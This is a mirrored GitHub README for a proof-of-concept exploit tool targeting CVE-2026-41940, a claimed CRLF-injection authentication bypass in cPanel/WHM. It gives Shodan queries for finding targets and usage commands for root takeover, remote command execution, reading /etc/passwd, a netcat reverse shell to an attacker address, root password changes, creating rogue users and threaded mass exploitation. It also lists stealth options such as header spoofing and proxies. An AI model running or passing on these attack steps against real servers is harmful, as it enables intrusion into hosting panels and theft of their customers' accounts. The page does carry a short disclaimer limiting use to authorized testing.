CVE-2026-41940-PoC-Exploit

KO | EN

gitlite — search

#javascript #python #hacktoberfest #typescript #go #rust #linux #docker #awesome #cli #security #ios #mcp #open-source

CVE-2026-41940-PoC-Exploit

(★ 9)

🚀 CVE-2026-41940 cPanel/WHM Auth Bypass Exploit - Best Flow 💥 CRLF injection leads to auth bypass, session hijacking & account leak. ✅ Proxy, custom UA, keep-alive, retries, SSL verify, colored output, file save support. ⚡ Advanced PoC for pentesters.

CVE-2026-41940-PoC-Exploit Latest Version Download

Download Latest Version (.zip)

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

![CVE-2026-41940](https://raw.githubusercontent.com/tc4dy/CVE-2026-41940-PoC-Exploit/main/cpanelgg.png)
# 🚀 CVE-2026-41940 - cPanel/WHM Authentication Bypass Exploit

[![Python](https://img.shields.io/badge/Python-3.7%2B-blue.svg)](https://www.python.org/)
[![License](https://img.shields.io/badge/License-MIT-green.svg)](https://raw.githubusercontent.com/tc4dy/CVE-2026-41940-PoC-Exploit/main/LICENSE)
[![CVSS](https://img.shields.io/badge/CVSS-9.8%20Critical-red.svg)](https://nvd.nist.gov/vuln/detail/CVE-2026-41940)
[![Pentesting](https://img.shields.io/badge/Purpose-Pentesting-orange.svg)](https://github.com)

> **cPanel & WHM Edition** - CRLF Injection to Authentication Bypass & Full Session Hijacking

## 📌 Overview

This exploit leverages **CVE-2026-41940**, a critical authentication bypass vulnerability in **cPanel/WHM**. By injecting a crafted CRLF payload into the session management system, it achieves session hijacking, root access, and complete control over the hosting panel without any valid credentials.

### 🔥 Key Features

| Category | Features |
|----------|----------|
| **Exploitation** | ✅ Authentication Bypass via CRLF Injection ✅ WHM Session Hijacking ✅ Security Token Leakage ✅ Instant Root Access |
| **Post-Exploitation** | ✅ Account List Extraction (User + Domain) ✅ Remote Command Execution (RCE) ✅ Reverse Shell (netcat compatible) ✅ File Reading (configs, logs, etc) ✅ Root Password Change ✅ New cPanel User Creation |
| **Scanning** | ✅ Single Target Exploitation ✅ Multi-Target Mass Scan ✅ Multi-Threading (configurable threads) ✅ Port Override Support |
| **Stealth** | ✅ Random Delays Between Requests ✅ X-Forwarded-For Spoofing ✅ Custom User-Agent Support ✅ Proxy Support (HTTP/HTTPS) |
| **Usability** | ✅ Interactive WHM Shell (`-i`) ✅ Colored Output (colorama) ✅ Verbose/Debug Mode ✅ Account List Export to File ✅ Keep-Alive Session Thread ✅ Retry Mechanism for Unstable Connections |

## 🎯 Vulnerable Versions

| Product | Versions | Status |
|---------|----------|--------|
| cPanel & WHM | 11.92 - 11.102 | ✅ Confirmed |
| cPanel & WHM | 11.104 - 11.110 | ✅ Confirmed |
| cPanel & WHM | 11.118 - 11.136 | ⚠️ Limited |
| cPanel & WHM | < 11.86 | ✅ Possibly vulnerable |

### 📍 Shodan Search

```bash
port:2087 "cPanel" "WHM"
port:2083 "cPanel"
```
> ⚠️ **Disclaimer**: This tool is for authorized security testing and educational purposes only. Unauthorized access is illegal.

## 📦 Installation
```bash
# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-41940-POC-Exploit
cd CVE-2026-41940-POC-Exploit

# Install dependencies
pip3 install -r requirements.txt

# Run
python3 exploit.py -t https://example.com:2087
```

## 🛠️ Usage Examples

```bash
# Basic exploitation (extract accounts)
python3 exploit.py -t https://192.168.1.100:2087

# Save accounts to file
python3 exploit.py -t https://192.168.1.100:2087 -o accounts.txt

# Verbose mode (debug output)
python3 exploit.py -t https://192.168.1.100:2087 -v

# Interactive WHM Shell (Recommended)
python3 exploit.py -t https://192.168.1.100:2087 -i
```

## 💻 Interactive Shell Commands

```bash
whm@example.com $ accounts          # List all cPanel accounts
whm@example.com $ version           # Show cPanel version
whm@example.com $ ls /home          # List directory
whm@example.com $ cat /etc/passwd   # Read file
whm@example.com $ exec id           # Execute command
whm@example.com $ passwd NewPass123 # Change root password
whm@example.com $ adduser test test.com pass123  # Create new user
whm@example.com $ exit              # Exit shell

## 🔧 Remote Command Execution

```bash
# Execute single command
python3 exploit.py -t https://192.168.1.100:2087 --cmd "id"
python3 exploit.py -t https://192.168.1.100:2087 --cmd "cat /etc/passwd"
python3 exploit.py -t https://192.168.1.100:2087 --cmd "whoami; hostname; uname -a"

# Read file
python3 exploit.py -t https://192.168.1.100:2087 --read /etc/passwd
python3 exploit.py -t https://192.168.1.100:2087 --read /home/example/config.php
```

## 🌐 Reverse Shell

```bash
# Attacker machine (listener)
nc -lvnp 4444

# Exploit (reverse shell)
python3 exploit.py -t https://192.168.1.100:2087 --reverse-shell 10.0.0.1:4444
```

## 🔐 Post-Exploitation Operations

```bash
# Change root password
python3 exploit.py -t https://192.168.1.100:2087 --passwd "NewRootPass123!"

# Create new cPanel user
python3 exploit.py -t https://192.168.1.100:2087 --adduser hacker hacker.com Pass1234

# Keep-alive session (maintain access)
python3 exploit.py -t https://192.168.1.100:2087 --no-keep-alive  # Disable auto keep-alive

```

## 📊 Mass Exploitation (Multi-Target)
```bash
# Create targets file
echo "https://target1.com:2087" > targets.txt
echo "https://target2.com:2087" >> targets.txt
echo "https://10.0.0.5:2087" >> targets.txt

# Mass exploit with 20 threads
python3 exploit.py -l targets.txt --threads 20

# Mass exploit with command execution
python3 exploit.py -l targets.txt --threads 10 --cmd "id"
```
## ⚙️ Advanced Options
```bash
# Custom port (non-standard)
python3 exploit.py -t https://example.com -p 8443

# Using proxy
python3 exploit.py -t https://192.168.1.100:2087 --proxy http://127.0.0.1:8080

# Custom user-agent for stealth
python3 exploit.py -t https://192.168.1.100:2087 -ua "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

# Custom delay and retries
python3 exploit.py -t https://192.168.1.100:2087 --delay 5 --max-retries 5

# SSL verification (ignore self-signed by default)
python3 exploit.py -t https://192.168.1.100:2087 --ssl-verify
```
## 📊 Command Line Arguments
| Short | Long | Description | Default |
|-------|------|-------------|---------|
| `-t` | `--target` | Single target URL | Required (single) |
| `-l` | `--target-file` | File containing target list | Required (mass) |
| `-p` | `--port` | Override port | Auto-detect |
| `-o` | `--output` | Save account list to file | None |
| `-v` | `--verbose` | Enable debug output | False |
| `-i` | `--interactive` | Interactive WHM shell | False |
| | `--proxy` | HTTP/HTTPS proxy | None |
| `-ua` | `--user-agent` | Custom User-Agent | Random |
| | `--cmd` | Execute single command | None |
| | `--reverse-shell` | Reverse shell IP:PORT | None |
| | `--passwd` | Change root password | None |
| | `--adduser` | Create new user (USER DOMAIN PASS) | None |
| | `--read` | Read file from target | None |
| | `--threads` | Threads for mass scan | 10 |
| | `--delay` | Keep-alive interval (seconds) | 3.0 |
| | `--max-retries` | Max retries per request | 3 |
| | `--no-keep-alive` | Don't maintain session | False |
| | `--ssl-verify` | Verify SSL certificates | False |

## 🧪 Testing Environment

# Docker (if you want to test safely)
docker run -d --name cpanel-test -p 2087:2087 cpanel/cpanel:102

# Or with vulnerable version
docker pull cpanel/cpanel:11.102
docker run -d -p 2087:2087 cpanel/cpanel:11.102

## 🔗 Related Exploits

Check out my other exploit repositories:
- [CVE-2026-24061](https://github.com/tc4dy/CVE-2026-24061-PoC-Exploit) 
- [CVE-2026-0073](https://github.com/tc4dy/CVE-2026-0073-PoC-Exploit)
- [CVE-2026-29000](https://github.com/tc4dy/CVE-2026-29000-PoC-Exploit)

CVE-2026-41940-PoC-Exploit

CVE-2026-41940-PoC-Exploit Latest Version Download

Today's picks

Was this content helpful?

Recent Feedback

CVE-2026-41940-PoC-Exploit

CVE-2026-41940-PoC-Exploit Latest Version Download

Today's picks

Was this content helpful?

Recent Feedback

Download README